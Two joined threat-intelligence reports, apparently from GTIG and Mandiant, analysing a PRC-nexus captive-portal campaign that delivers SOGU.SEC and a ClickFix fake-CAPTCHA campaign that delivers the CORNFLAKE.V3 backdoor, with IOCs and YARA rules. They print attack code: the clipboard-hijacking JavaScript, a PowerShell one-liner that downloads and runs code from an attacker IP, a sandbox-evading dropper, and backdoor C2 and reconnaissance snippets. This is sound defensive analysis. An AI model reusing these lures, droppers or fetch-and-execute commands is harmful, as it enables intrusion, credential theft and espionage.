GTIG discovered evidence of a captive portal hijack being used to deliver malware disguised as an Adobe Plugin update to targeted entities. A captive portal is a network setup that directs users to a specific webpage, usually a login or splash page, before granting internet access. This functionality is intentionally built into all web browsers. The Chrome browser performs an HTTP request to a hardcoded URL (“http://www.gstatic.com/generate_204”) to enable this redirect mechanism.

While “gstatic.com” is a legitimate domain, our investigation uncovered redirect chains from this domain leading to the threat actor’s landing webpage and subsequent malware delivery, indicating an AitM attack. We assess the AitM was facilitated through compromised edge devices on the target networks. However, GTIG did not observe the attack vector used to compromise the edge devices.

Figure 2: Captive portal redirect chain

Fake Plugin Update 

After being redirected, the threat actor attempts to deceive the target into believing that a software update is needed, and to download the malware disguised as a “plugin update”. The threat actor used multiple social engineering techniques to form a cohesive and credible update theme. 

The landing webpage resembles a legitimate software update site and uses an HTTPS connection with a valid TLS certificate issued by Let’s Encrypt. The use of HTTPS offers several advantages for social engineering and malware delivery. Browser warning messages, such as “Not Secure” and “Your connection is not private”, will not be displayed to the target, and the connection to the website is encrypted, making it more difficult for network-based defenses to inspect and detect the malicious traffic. Additionally, the malware payload is disguised as legitimate software and is digitally signed with a certificate issued by a Certificate Authority.

$ openssl x509 -in mediareleaseupdates.pem -noout -text -fingerprint -sha256 Certificate: Data: Version: 3 (0x2) Serial Number: 05:23:ee:fd:9f:a8:7d:10:b1:91:dc:34:dd:ee:1b:41:49:bd Signature Algorithm: sha256WithRSAEncryption Issuer: C=US, O=Let's Encrypt, CN=R10 Validity Not Before: May 17 16:58:11 2025 GMT Not After : Aug 15 16:58:10 2025 GMT Subject: CN=mediareleaseupdates[.]com sha256 Fingerprint=6D:47:32:12:D0:CB:7A:B3:3A:73:88:07:74:5B:6C:F1:51:A2:B5:C3:31:65:67:74:DF:59:E1:A4:E2:23:04:68

Figure 3: Website TLS certificate

The initial landing page is completely blank with a yellow bar across the top and a button that reads “Install Missing Plugins…”. If this technique successfully deceives the target into believing they need to install additional software, they may be more willing to manually bypass host-based Windows security protections to execute the delivered malicious payload.

Figure 4: Malware landing page

In the background, Javascript code is loaded from a script file named “style3.js” hosted on the same domain as the HTML page. When the target clicks the install button “myFunction”, which is located in the loaded script, is executed.

<head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Additional plugins are required to display all the media on this page</title> <script type="text/javascript" src="https[:]//mediareleaseupdates[.]com/style3.js"> </script> </head> <body><div id="adobe update" onclick="myFunction()"...

Figure 5: Javascript from AdobePlugins.html

Inside of “myFunction” another image is loaded to display as the background image on the webpage. The browser window location is also set to the URL of an executable, again hosted on the same domain.

function myFunction() { var img = new Image(); img.src ="data:image/png;base64,iVBORw0KGgo[cut] ... document.body.innerHTML = ''; document.body.style.backgroundImage = 'url(' + img.src + ')'; ... window.location.href = "https[:]//mediareleaseupdates[.]com/AdobePlugins.exe"; }

Figure 6: Javascript from style3.js

This triggers the automatic download of “AdobePlugins.exe” and a new background image to be displayed on the webpage. The image shows instructions for how to execute the downloaded binary and bypass potential Windows security protections.

Figure 7: Malware landing page post-download

When the downloaded executable is run, the fake install prompt seen in the above screenshot for “STEP 2” is displayed on screen, along with “Install” and "Cancel” options. However, the SOGU.SEC payload is likely already running on the target device, as neither button triggers any action relevant to the malware.

Malware Analysis 

Upon successful delivery to the target Windows system, the malware initiates a multi-stage deployment chain. Each stage layers tactics designed to evade host-based defenses and maintain stealth on the compromised system. Finally, a novel side-loaded DLL, tracked as CANONSTAGER, concludes with in-memory deployment of the SOGU.SEC backdoor, which then establishes communication with the threat actor's command and control (C2) server.

Digitally Signed Downloader: STATICPLUGIN

The downloaded “AdobePlugins.exe” file is a first stage malware downloader. The file was signed by Chengdu Nuoxin Times Technology Co., Ltd. with a valid certificate issued by GlobalSign. Signed malware has the major advantage of being able to bypass endpoint security protections that typically trust files with valid digital signatures. This gives the malware false legitimacy, making it harder for both users and automated defenses to detect. 

The binary was code signed on May 9th, 2025, possibly indicating how long this version of the downloader has been in use. While the signing certificate expired on July 14th, 2025 and is no longer valid, it may be easy for the threat actor to re-sign new versions of STATICPLUGIN with similarly obtained certificates.

Figure 8: Downloader with valid digital signature

STATICPLUGIN implements a custom TForm which is designed to masquerade as a legitimate Microsoft Visual C++ 2013 Redistributables installer. The malware uses the Windows COM Installer object to download another file from “https[:]//mediareleaseupdates[.]com/20250509[.]bmp”. However, the “BMP” file is actually an MSI package containing three files. After installation of these files, CANONSTAGER is executed via DLL side-loading.

Filename

Description

Hash

cnmpaui.exe

Canon IJ Printer Assistant Tool

4ed76fa68ef9e1a7705a849d47b3d9dcdf969e332bd5bcb68138579c288a16d3

cnmpaui.dll

CANONSTAGER

e787f64af048b9cb8a153a0759555785c8fd3ee1e8efbca312a29f2acb1e4011

cnmplog.dat

RC4 Encrypted SOGU.SEC

cc4db3d8049043fa62326d0b3341960f9a0cf9b54c2fbbdffdbd8761d99add79

Certificate Subscriber — Chengdu Nuoxin Times Technology Co., Ltd

Our investigation found this is not the first suspicious executable signed with a certificate issued to Chengdu Nuoxin Times Technology Co., Ltd. GTIG is currently tracking 25 known malware samples signed by this Subscriber that are in use by multiple PRC-nexus activity clusters. Many examples of these signed binaries are available in VirusTotal.

GTIG has previously investigated two additional campaigns using malware signed by this entity. While GTIG does not attribute these other campaigns to UNC6384, they have multiple similarities and TTP overlaps with this UNC6384 campaign, in addition to using the same code signing certificates.

1. Delivery through web-based redirects

2. Downloader first stage, sometimes packaged in an archive. 

3. In-memory droppers and memory-only backdoor payloads

4. Masquerading as legitimate applications or updates

5. Targeting in Southeast Asia

It remains an open question how the threat actors are obtaining these certificates. The Subscriber organization may be a victim with compromised code signing material. However, they may also be a willing participant or front company facilitating cyber espionage operations. Malware samples signed by Chengdu Nuoxin Times Technology Co., Ltd date back to at least January 2023. GTIG is continuing to monitor the connection between this entity and PRC-nexus cyber operations.

Malicious Launcher: CANONSTAGER

Once CANONSTAGER is executed, its ultimate purpose is to surreptitiously execute the encrypted payload, a variant of SOGU tracked as SOGU.SEC. CANONSTAGER implements a control flow obfuscation technique using custom API hashing and Thread Local Storage (TLS). The launcher also abuses legitimate Windows features such as window procedures, message queues, and callback functions to execute the final payload. 

API Hashing and Thread Local Storage

Thread Local Storage (TLS) is intended to provide each thread in a multi-threaded application its own private data storage. CANONSTAGER uses the TLS array data structure to store function addresses resolved by its custom API hashing algorithm. The function addresses are later called throughout the binary from offsets into the TLS array. 

In short, the API hashing hides which Windows APIs are being used, while the TLS array provides a stealthy location to store the resolved function addresses. Use of the TLS array for this purpose is unconventional. Storing function addresses here may be overlooked by analysts or security tooling scrutinizing more common data storage locations.

Below is an example of CANONSTAGER resolving and storing the GetCurrentDirectoryW function address.

1. Resolve the GetCurrentDirectoryW hash (0x6501CBE1)

2. Get the location of the TLS array from the Thread Information Block (TIB)

3. Move the resolved function address into offset 0x8 of the TLS array

Figure 9: Example of storing function addresses in TLS array

Indirect Code Execution 

CANONSTAGER hides its launcher code in a custom window procedure and triggers its execution indirectly using the Windows message queue. Using these legitimate Windows features lowers the likelihood of security tools detecting the malware and raising alerts. It also obscures the malware’s control flow by “hiding” its code inside of the window procedure and triggering execution asynchronously. 

At a high level, CANONSTAGER:

1. Registers a class containing a callback function;

2. Creates a new window with the registered class;

3. Sends WM_SHOWWINDOW to the message queue;

4. Enters a message loop to receive and dispatch messages to the created window;

5. Creates a new thread to decrypt “cnmplog.dat” as SOGU.SEC when the window receives the WM_SHOWWINDOW message; then

6. Executes SOGU.SEC in-memory with an EnumSystemGeoID callback.

Figure 10: Overview of CANONSTAGER execution using Windows message queue

Window Procedure 

On a Windows system, every window class has an associated window procedure. The procedure allows programmers to define a custom function to process messages sent to the specified window class. 

CANONSTAGER creates an Overlapped Window with a registered WNDCLASS structure. The structure contains a callback function to the programmer-defined window procedure for processing messages. Additionally, the window is created with a height and width of zero to remain hidden on the screen. 

Inside the window procedure, there is a check for message type 0x0018 (WM_SHOWWINDOW). When a message of this type is received, a new thread is created with a function that decrypts and launches the SOGU.SEC payload. For any message type other than 0x0018 (or 0x2 to ExitProcess), the window procedure calls the default handler (DefWindowProc), ignoring the message. 

Message Queue 

Windows applications use Message Queues for asynchronous communication. Both user applications and the Windows system can post messages to Message Queues. When a message is posted to an application window, the system calls the associated window procedure to process the message.

In order to trigger the malicious window procedure, CANONSTAGER uses the ShowWindow function to send a WM_SHOWWINDOW (0x0018) message to its newly created window via the Message Queue. Since the system, or other applications, may also post messages to the CANONSTAGER’s window, a standard Windows message loop is entered. This allows all posted messages to be sent, including the intended WM_SHOWWINDOW message.

1. GetMessageW - retrieve all messages in the thread’s message queue.

2. TranslateMessage - Convert message from a “virtual-key” to a “character message”.

3. DispatchMessage - Delivers the message to the specific function (WindowProc) that handles messages for the window targeted by that message.

4. Loop back to 1, until all messages are dispatched.

Deploying SOGU.SEC

After the correct message type is received by the window procedure, CANONSTAGER moves on to deploying its SOGU.SEC payload with the following steps:

1. Read the encrypted “cnmplog.dat” file, packaged in the downloaded MSI;

2. Decrypt the file with a hardcoded 16-byte RC4 key;

3. Execute the decrypted payload using an EnumSystemsGeoID callback function.

Figure 11: Callback function executing SOGU.SEC

UNC6384 has previously used both payload encryption and callback functions to deploy SOGU.SEC. These techniques are used to hide malicious code, evade detection, obfuscate control flow, and blend in with normal system activity. Additionally, all of these steps are done in-memory, avoiding endpoint file-based detections.

The Backdoor: SOGU.SEC

SOGU.SEC is a distinct variant of SOGU and is commonly deployed by UNC6384 in cyber espionage activity. This is a sophisticated, and heavily obfuscated, malware backdoor with a wide range of capabilities. It can collect system information, upload and download files from a C2, and execute a remote command shell. In this campaign, SOGU.SEC was observed communicating directly with the C2 IP address “166.88.2[.]90” using HTTPS.

Attribution

GTIG attributes this campaign to UNC6384, a PRC-nexus cyber espionage group believed to be associated with the PRC-nexus threat actor TEMP.Hex (also known as Mustang Panda). Our attribution is based on similarities in tooling, TPPs, targeting, and overlaps in C2 infrastructure. UNC6384 and TEMP.Hex are both observed to target government sectors, primarily in Southeast Asia, in alignment with PRC strategic interests. Both groups have also been observed to deliver SOGU.SEC malware from DLL side-loaded malware launchers and have used the same C2 infrastructure. 

Conclusion

This campaign is a clear example of the continued evolution of UNC6384's operational capabilities and highlights the sophistication of PRC-nexus threat actors. The use of advanced techniques such as AitM combined with valid code signing and layered social engineering demonstrates this threat actor’s capabilities. This activity follows a broader trend GTIG has observed of PRC-nexus threat actors increasingly employing stealthy tactics to avoid detection.

GTIG actively monitors ongoing threats from actors like UNC6384 to protect users and customers. As part of this effort, Google continuously updates its protections and has taken specific action against this campaign.

Acknowledgment

A special thanks to Jon Daniels for your contributions.

Appendix: Indicators of Compromise

A Google Threat Intelligence (GTI) collection of related IOCs is available to registered users. 

File Hashes

Name

Hash (SHA-256)

AdobePlugins.exe

65c42a7ea18162a92ee982eded91653a5358a7129c7672715ce8ddb6027ec124

20250509.bmp (MSI)

3299866538aff40ca85276f87dd0cefe4eafe167bd64732d67b06af4f3349916

cnmpaui.dll

e787f64af048b9cb8a153a0759555785c8fd3ee1e8efbca312a29f2acb1e4011

cnmplog.dat

cc4db3d8049043fa62326d0b3341960f9a0cf9b54c2fbbdffdbd8761d99add79

SOGU.SEC (memory only)

d1626c35ff69e7e5bde5eea9f9a242713421e59197f4b6d77b914ed46976b933

Certificate Fingerprints / Thumbprints

Name

Hash (SHA-1)

mediareleaseupdates[.]com

c8744b10180ed59bf96cf79d7559249e9dcf0f90

AdobePlugins.exe

eca96bd74fb6b22848751e254b6dc9b8e2721f96

Network Indicators

Name

IOC

Landing Page

https[:]//mediareleaseupdates[.]com/AdobePlugins[.]html

Javascript

https[:]//mediareleaseupdates[.]com/style3[.]js

STATICPLUGIN

https[:]//mediareleaseupdates[.]com/AdobePlugins[.]exe

MSI Package

https[:]//mediareleaseupdates[.]com/20250509[.]bmp

Hosting IP

103.79.120[.]72

C2 IP

166.88.2[.]90

SOGU.SEC User Agent

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 10.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host Indicators

Name

IOC

Mutex Name

KNbgxngdS

RC4 Key

mqHKVbHWWAJwrLXD

Registry Key

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\CanonPrinter="%APPDATA%\cnmpaui.exe" 9 780

File Path

%LOCALAPPDATA%\DNVjzaXMFO\

File Path

C:\Users\Public\Intelnet\

File Path

C:\Users\Public\SecurityScan\

YARA Rules rule G_Downloader_STATICPLUGIN_1 { meta: author = "GTIG" date_created = "2025-07-24" date_modified = "2025-07-24" description = "STATICPLUGIN is a downloader observed to retrieve an MSI packaged payload from a hard-coded C2 domain." md5 = "52f42a40d24e1d62d1ed29b28778fc45" rev = 1 strings: $s1 = "InstallRemoteMSI" $s2 = "InstallUpdate" $s3 = "Button1Click" $s4 = "Button2Click" $s5 = "WindowsInstaller.Installer" wide condition: uint16(0)==0x5a4d and all of them } rule G_Launcher_CANONSTAGER_1 { meta: author = "GTIG" date_created = "2025-07-25" date_modified = "2025-07-25" description = "CANONSTAGER is a side-loaded DLL launcher used to decrypt and execute a payload in-memory." md5 = "fa71d60e43da381ad656192a41e38724" rev = 1 strings: $str1 = ".dat" wide $str2 = "\\cnmplog" wide $code1 = {43 0F B6 ?? 0F B6 [3]00 D0 0F B6 ?? 8A 74 [2]88 74 [2]88 54 [2]8B 7? [2]02 54 [2]0F B6 ?? 0F B6 [3]32 14 ?? [0-4] 88 14 ?? 41 39 ?? 75 C? } $code2 = {0F B6 [3] 89 ?? 83 E? 0F 00 D0 02 ?? [1-2] 0F B6 ?? 8A 74 [2] 88 74 [2] 4? 88 54 [2]81 F? 00 01 00 00 75 D?} $code3 = {40 89 ?? 0F B6 C0 0F B6 [3]00 D9 88 9? [4-5]0F B6 F? 8A 7C 3? ?? 88 7C 0? ?? 88 5C 3? ?? 02 5C 0? ?? 0F B6 F? 0F B6 5C 3? ?? [0-2]8B [3]32 1C ?? [7-8]42 [0-2]39 D? 75 BC } condition: all of ($str*) and 2 of ($code*) }

Written by: Marco Galli

Welcome to the Frontline Bulletin Series

Straight from Mandiant Threat Defense, the "Frontline Bulletin" series brings you the latest on the most intriguing compromises we are seeing in the wild right now, equipping our community to understand and respond to the most compelling threats we observe. This edition dissects an infection involving two threat groups, UNC5518 and UNC5774, leading to the deployment of CORNFLAKE.V3.

Introduction

Since June 2024, Mandiant Threat Defense has been tracking UNC5518, a financially motivated threat cluster compromising legitimate websites to serve fake CAPTCHA verification pages. This deceptive technique, known as ClickFix, lures website visitors into executing a downloader script which initiates a malware infection chain. UNC5518 appears to partner with clients or affiliates who use access obtained by the group to deploy additional malware.

While the initial compromise and fake CAPTCHA deployment are orchestrated by UNC5518, the payloads served belong to other threat groups. UNC5518 utilizes downloader scripts that function as an access-as-a-service. Several distinct threat actors have been observed leveraging the access provided by UNC5518, including:

• UNC5774: A financially motivated group known to use CORNFLAKE backdoor to deploy a variety of subsequent payloads.

• UNC4108: A threat cluster with unknown motivation, observed using PowerShell to deploy various tools like VOLTMARKER and NetSupport RAT, and conducting reconnaissance.

This blog post details a campaign where Mandiant identified UNC5518 deploying a downloader that delivers CORNFLAKE.V3 malware. Mandiant attributes the CORNFLAKE.V3 samples to UNC5774, a distinct financially motivated actor that uses UNC5518's access-as-a-service operation as an entry vector into target environments.

The CORNFLAKE Family

CORNFLAKE.V3 is a backdoor, observed as two variants, written in JavaScript or PHP (PHP Variant) that retrieves payloads via HTTP. Supported payload types include shell commands, executables and dynamic link libraries (DLLs). Downloaded payloads are written to disk and executed. CORNFLAKE.V3 collects basic system information and sends it to a remote server via HTTP. CORNFLAKE.V3 has also been observed abusing Cloudflare Tunnels to proxy traffic to remote servers.

CORNFLAKE.V3 is an updated version of CORNFLAKE.V2, sharing a significant portion of its codebase. Unlike V2, which functioned solely as a downloader, V3 features host persistence via a registry Run key, and supports additional payload types.

The original CORNFLAKE malware differed significantly from later iterations, as it was written in C. This first variant functioned as a downloader, gathering basic system information and transmitting it via TCP to a remote server. Subsequently, it would download and execute a payload.

Malware Family

CORNFLAKE

CORNFLAKE.V2

CORNFLAKE.V3

Language

C

JS

JS or PHP

Type

Downloader

Downloader

Backdoor

C2 Communication

TCP socket (XOR encoded)

HTTP (XOR encoded)

HTTP (XOR encoded)

Payload types

DLL

DLL,EXE,JS,BAT

DLL,EXE,JS,BAT,PS

Persistence

No

No

Registry Run key

Table 1: Comparison of CORNFLAKE malware variants

Figure 1: The observed CORNFLAKE.V3 (Node.js) attack lifecycle

Initial Lead

Mandiant Threat Defense responded to suspicious PowerShell activity on a host resulting in the deployment of the CORNFLAKE.V3 backdoor.

Mandiant observed that a PowerShell script was executed via the Run command using the Windows+R shortcut. Evidence of this activity was found in the HKEY_USERS\User\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU registry key, containing the following entry which resulted in the download and execution of the next payload:

Name: a Value: powershell -w h -c "$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"\1

The RunMRU registry key stores the history of commands entered into the Windows Run (shortcut Windows+R) dialog box.

The execution of malicious scripts using the Windows+R shortcut is often indicative of users who have fallen victim to ClickFix lure pages. Users typically land on such pages as a result of benign browsing leading to interaction with search results that employ SEO poisoning or malicious ads.

Figure 2: Fake CAPTCHA verification (ClickFix) on an attacker-controlled webpage

As seen in the Figure 2, the user was lured into pasting a hidden script into the Windows Run dialog box which was automatically copied to the clipboard by the malicious web page when the user clicked on the image. The webpage accomplished this with the following JavaScript code:

// An image with the reCAPTCHA logo is displayed on the webpage <div class="c" id="j"> <img src="https://www.gstatic[.]com/recaptcha/api2/logo_48.png" alt="reCAPTCHA Logo"> <span>I'm not a robot</span> </div> // The malicious script is saved in variable _0xC var _0xC = "powershell -w h -c "$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"\1"; // When the image is clicked, the script is copied to the clipboard document.getElementById("j").onclick = function(){ var ta = document.createElement("textarea"); ta.value = _0xC; document.body.appendChild(ta); ta.select(); document.execCommand("copy");

The PowerShell command copied to clipboard is designed to download and execute a script from the remote server 138.199.161[.]141:8080/$u, where $u indicates the UNIX epoch timestamp of the download.

As a result, the PowerShell process connects to the aforementioned IP address and port with URL path 1742214432 (UNIX epoch timestamp), as shown in the following HTTP GET request:

GET /1742214432 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.5486 Host: 138.199.161[.\]141:8080 Connection: Keep-Alive

The following PowerShell dropper script, similar to 1742214432, was recovered from a threat-actor controlled server during the investigation of a similar CORNFLAKE.V3 compromise:

# Get computer manufacturer for evasion check. $Manufacturer = Get-WmiObject Win32_ComputerSystem | Select-Object -ExpandProperty Manufacturer # Exit if running in QEMU (VM detection). if ($Manufacturer -eq "QEMU") { exit 0; } # Get memory info for evasion check. $TotalMemoryGb = (Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory / 1GB $AvailableMemoryGb = (Get-CimInstance Win32_OperatingSystem).FreePhysicalMemory / 1MB $UsedMemoryGb = $TotalMemoryGb - $AvailableMemoryGb # Exit if total memory is low or calculated "used" memory is low (possible sandbox detection). if ($TotalMemoryGb -lt 4 -or $UsedMemoryGb -lt 1.5) { exit 0 } # Exit if computer name matches default pattern (possible sandbox detection). if ($env:COMPUTERNAME -match "DESKTOP-S*") { exit 0 } # Pause execution briefly. sleep 1 # Define download URL (defanged). $ZipURL = "hxxps://nodejs[.]org/dist/v22.11.0/node-v22.11.0-win-x64.zip" # Define destination folder (AppData). $DestinationFolder = [System.IO.Path]::Combine($env:APPDATA, "") # Define temporary file path for download. $ZipFile = [System.IO.Path]::Combine($env:TEMP, "downloaded.zip") # Download the Node.js zip file. iwr -Uri $ZipURL -OutFile $ZipFile # Try block for file extraction using COM objects. try { $Shell = New-Object -ComObject Shell.Application $ZIP = $Shell.NameSpace($ZipFile) $Destination = $Shell.NameSpace($DestinationFolder) # Copy/extract contents silently. $Destination.CopyHere($ZIP.Items(), 20) } # Exit on any extraction error. catch { exit 0 } # Update destination path to the extracted Node.js folder. $DestinationFolder = [System.IO.Path]::Combine($DestinationFolder, "node-v22.11.0-win-x64") # Base64 encoded payload (large blob containing the CORNFLAKE.V3 sample). $BASE64STRING =<Base-64 encoded CORNFLAKE.V3 sample> # Decode the Base64 string. $BINARYDATA = [Convert]::FromBase64String($BASE64STRING) # Convert decoded bytes to a string (the payload code). $StringData = [System.Text.Encoding]::UTF8.GetString($BINARYDATA) # Path to the extracted node.exe. $Node = [System.IO.Path]::Combine($DestinationFolder, "node.exe") # Start node.exe to execute the decoded string data as JavaScript, hidden. start-process -FilePath "$Node" -ArgumentList "-e `"$StringData`"" -WindowStyle Hidden

The PowerShell dropper’s execution includes multiple steps:

• Check if it is running inside a virtual machine and, if true, exit

• Download Node.js via HTTPS from the URL hxxps://nodejs[.]org/dist/v22.11.0/node-v22.11.0-win-x64.zip, write the file to %TEMP%\downloaded.zip and extract its contents to the directory %APPDATA%\node-v22.11.0-win-x64

• Base64 decode its embedded CORNFLAKE.V3 payload and execute it via the command %APPDATA%\node-v22.11.0-win-x64\node.exe -e “<base64_decoded_CORNFLAKE.v3>”

The PowerShell dropper's anti-vm checks include checking for low system resources (total memory less than 4GB or used memory less than 1.5GB) and if the target system's computer name matches the regular expression DESKTOP-S* or the target system's manufacturer is QEMU.

As a result of the dropper’s execution, a DNS query for the nodejs[.]org domain was made, followed by the download of an archive named downloaded.zip (SHA256: 905373a059aecaf7f48c1ce10ffbd5334457ca00f678747f19db5ea7d256c236). This archive contained the Node.js runtime environment, including its executable file node.exe, which was then extracted to %APPDATA%\node-v22.11.0-win-x64\. The Node.js environment allows for the execution of JavaScript code outside of a web browser.

The extracted %APPDATA%\node-v22.11.0-win-x64\node.exe binary was then launched by Powershell with the -e argument, followed by a large Node.js script, a CORNFLAKE.V3 backdoor sample.

Mandiant identified the following activities originating from the CORNFLAKE.V3 sample:

• Host and AD-based reconnaissance

• Persistence via Registry Run key

• Credential harvesting attempts via Kerberoasting

The following process tree was observed during the investigation:

explorer.exe ↳ c:\windows\system32\windowspowershell\v1.0\powershell.exe -w h -c "$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex" ↳ c:\users\<user>\appdata\roaming\node-v22.11.0-win-x64\node.exe -e "{CORNFLAKE.V3}" ↳ c:\windows\system32\windowspowershell\v1.0\powershell.exe -c "{Initial check and System Information Collection}" ↳ C:\Windows\System32\ARP.EXE -a ↳ C:\Windows\System32\chcp.com 65001 ↳ C:\Windows\System32\systeminfo.exe ↳ C:\Windows\System32\tasklist.exe /svc ↳ c:\windows\system32\cmd.exe /d /s /c "wmic process where processid=16004 get commandline" ↳ C:\Windows\System32\cmd.exe /d /s /c "{Kerberoasting}" ↳ c:\windows\system32\cmd.exe /d /s /c "{Active Directory Reconnaissance}" ↳ c:\windows\system32\cmd.exe /d /s /c "reg add {ChromeUpdater as Persistence}" Analysis of CORNFLAKE.V3 

The CORNFLAKE.V3 sample recovered in our investigation was completely unobfuscated, which allowed us to statically analyze it in order to understand its functionality. This section describes the primary functions of the malware.

Initial Check and System Information Collection if (process.argv[1] !== undefined && process.argv[2] === undefined) { const child = spawn(process.argv[0], [process.argv[1], '1'], { detached: true, stdio: 'ignore', windowsHide: true, }); child.unref(); process.exit(0); }

When the script initially executes, a check verifies the command line arguments of the node.exe process, keeping in mind that the binary is initially spawned with a single argument (the script itself), this check forces the script to create a child process which has 1 as an additional argument, then the initial node.exe exits. When the child process runs, since it now has three arguments, it will pass this initial check and execute the rest of the script.

This check allows the malware to ensure that only one instance of the script is executing at one time, even if it is launched multiple times due to its persistence mechanisms.

Following this, the malware attempts to collect system information using the following code:

let cmd = execSync('chcp 65001 > $null 2>&1 ; echo \'version: ' + ver + '\' ; if ([Security.Principal.WindowsIdentity]::GetCurrent().Name -match '(?i)SYSTEM') { \'Runas: System\' } elseif (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole ([Security.Principal.WindowsBuiltInRole]::Administrator)) { \'Runas: Admin\' } else { \'Runas: User\' } ; systeminfo ; echo \'=-=-=-=-=-\' ; tasklist /svc ; echo \'=-=-=-=-=-\' ; Get-Service | Select-Object -Property Name, DisplayName | Format-List ; echo \'=-=-=-=-=-\' ; Get-PSDrive -PSProvider FileSystem | Format-Table -AutoSize ; echo \'=-=-=-=-=-\' ; arp -a', { encoding: 'utf-8', shell: 'powershell.exe', windowsHide: true }); commandRet = Buffer.from(cmd, 'utf-8'); sysinfo = Buffer.concat([numberBufferInit, numberBufferId, commandRet]);

This code block executes a series of PowerShell commands (or fallback CMD commands if PowerShell fails) using execSync. It gathers the script's version, user privilege level (System, Admin, User), standard systeminfo output, running tasks/services (tasklist /svc), service details (Get-Service), available drives (Get-PSDrive), and the ARP table (arp -a).

C2 Initialization

After setting some logical constants and the command and control (C2) server IP address, the malware enters the mainloop function. The script contains support for two separate lists, hosts and hostsIP, which are both used in the C2 communication logic. Initially, the mainloop function attempts to connect to a random host in the hosts list, however, if unable to do so, it will attempt to connect to a random IP address in the hostsIP list instead. Once a connection is successfully established, the main function is called.

// Define lists of hostnames and IP addresses for the command and control server. const hosts = ['159.69.3[.]151']; const hostsIp = ['159.69.3[.]151']; // Variables to manage the connection and retry logic. let useIp = 0; let delay = 1; // Main loop to continuously communicate with the command and control server. async function mainloop() { let toHost = hosts[Math.floor(Math.random() * 1000) % hosts.length]; let toIp = hostsIp[Math.floor(Math.random() * 1000) % hostsIp.length]; while (true) { // Wait for the specified delay. await new Promise((resolve) => setTimeout(resolve, delay)); try { // Attempt to communicate with the command and control server. if (useIp < 200) { await main(toHost, PORT_IP); useIp = 0; } else { await main(toIp, PORT_IP); useIp++; if (useIp >= 210) useIp = 0; } } catch (error) { // Handle errors during communication. console.error('Error with HTTP request:', error.message); toHost = hosts[Math.floor(Math.random() * 1000) % hosts.length]; toIp = hostsIp[Math.floor(Math.random() * 1000) % hostsIp.length]; useIp++; delay = 1000 * 10; continue; } // Set the delay for the next attempt. delay = 1000 * 60 * 5; } } C2 Communication

This function, named main, handles the main command and control logic. It takes a host and port number as arguments, and constructs the data to be sent to the C2 server. The malware sends an initial POST request to the path /init1234, which contains information about the infected system and the output of the last executed command; the contents of this request are XOR-encrypted by the enc function.

This request is answered by the C2 with 2 possible responses:

• ooff - the process exits

• atst - the atst function is called, which establishes persistence on the host

If the response does not match one of the aforementioned 2 values, the malware interprets the response as a payload and parses the last byte of the response after XOR decrypting it. The following values are accepted by the program:

Command

Type

Description

0

EXE

The received payload is written to %APPDATA%\<random_8_chars>\<random_8_chars>.exe and launched using the Node.js child_process.spawn() function.

1

DLL

The received payload is written to %APPDATA%\<random_8_chars>\<random_8_chars>.dll and launched using the Node.js child_process.spawn() function as an argument to rundll32.exe.

2

JS

The received payload is launched from memory as an argument to node.exe using the Node.js child_process.spawn() function.

3

CMD

The received payload is launched from memory as an argument to cmd.exe using the Node.js child_process.spawn() function. Additionally, the output is saved in the LastCmd variable and sent to the C2 in the next request.

4

Other

The payload is written to %APPDATA%\<random_8_chars>\<random_8_chars>.log.

Table 2: CORNFLAKE.V3 supported payloads Persistence

The atst function, called by main, attempts to establish persistence on the host by creating a new registry Run key named ChromeUpdater under HKCU\Software\Microsoft\Windows\CurrentVersion\Run.

The malware uses wmic.exe to obtain the command line arguments of the currently running node.exe process. If node.exe was launched with the -e argument, like the malware does initially, the script extracts the argument after -e, which contains the full malicious script. This script is written to the <random_8_chars>.log file in the Node.js installation directory and its path is saved to the path2file variable.

If node.exe was instead launched with a file as an argument (such as during the persistence phase), the path to this file is extracted and saved to the path2file variable.

The path2file variable is then set as an argument to node.exe in the newly created ChromeUpdater registry key. This ensures that the malware executes upon user logon.

Executed Payloads

As observed in the main function, this sample can receive and execute different types of payloads from its C2 server. This section describes two payloads that were observed in our investigation.

Active Directory Reconnaissance

The first payload observed on the host was a batch script containing reconnaissance commands. The script initially determines if the host is domain-joined, this condition determines which specific reconnaissance type is executed.

Domain Joined

• Query Active Directory Computer Count: Attempts to connect to Active Directory and count the total number of computer objects registered in the domain.
• Display Detailed User Context: Executes whoami /all to reveal the current user's Security Identifier (SID), domain and local group memberships, and assigned security privileges.
• Enumerate Domain Trusts: Executes nltest /domain_trusts to list all domains that the current computer's domain has trust relationships with (both incoming and outgoing).
• List Domain Controllers: Executes nltest /dclist : to find and list the available Domain Controllers (DCs) for the computer's current domain.
• Query Service Principal Names (SPNs): Executes setspn -T <UserDomain> -Q */* to query for all SPNs registered in the user's logon domain, then filters the results (Select-String) to specifically highlight SPNs potentially associated with user accounts (lines starting CN=...Users).

Not Domain Joined

• Enumerate Local Groups: Uses Get-LocalGroup to list all security groups defined locally on the machine.
• Enumerate Local Group Members: For each local group found, uses Get-LocalGroupMember to list the accounts (users or other groups) that are members of that group, displaying their Name and PrincipalSource (e.g., Local, MicrosoftAccount).

Kerberoasting

The second script executed is a batch script which attempts to harvest credentials via Kerberoasting. The script queries Active Directory for user accounts configured with SPNs (often an indication of a service account using user credentials). For each of these, it requests a Kerberos service ticket from which a password hash is extracted and formatted. These hashes are exfiltrated to the C2 server, where the attacker can attempt to crack them.

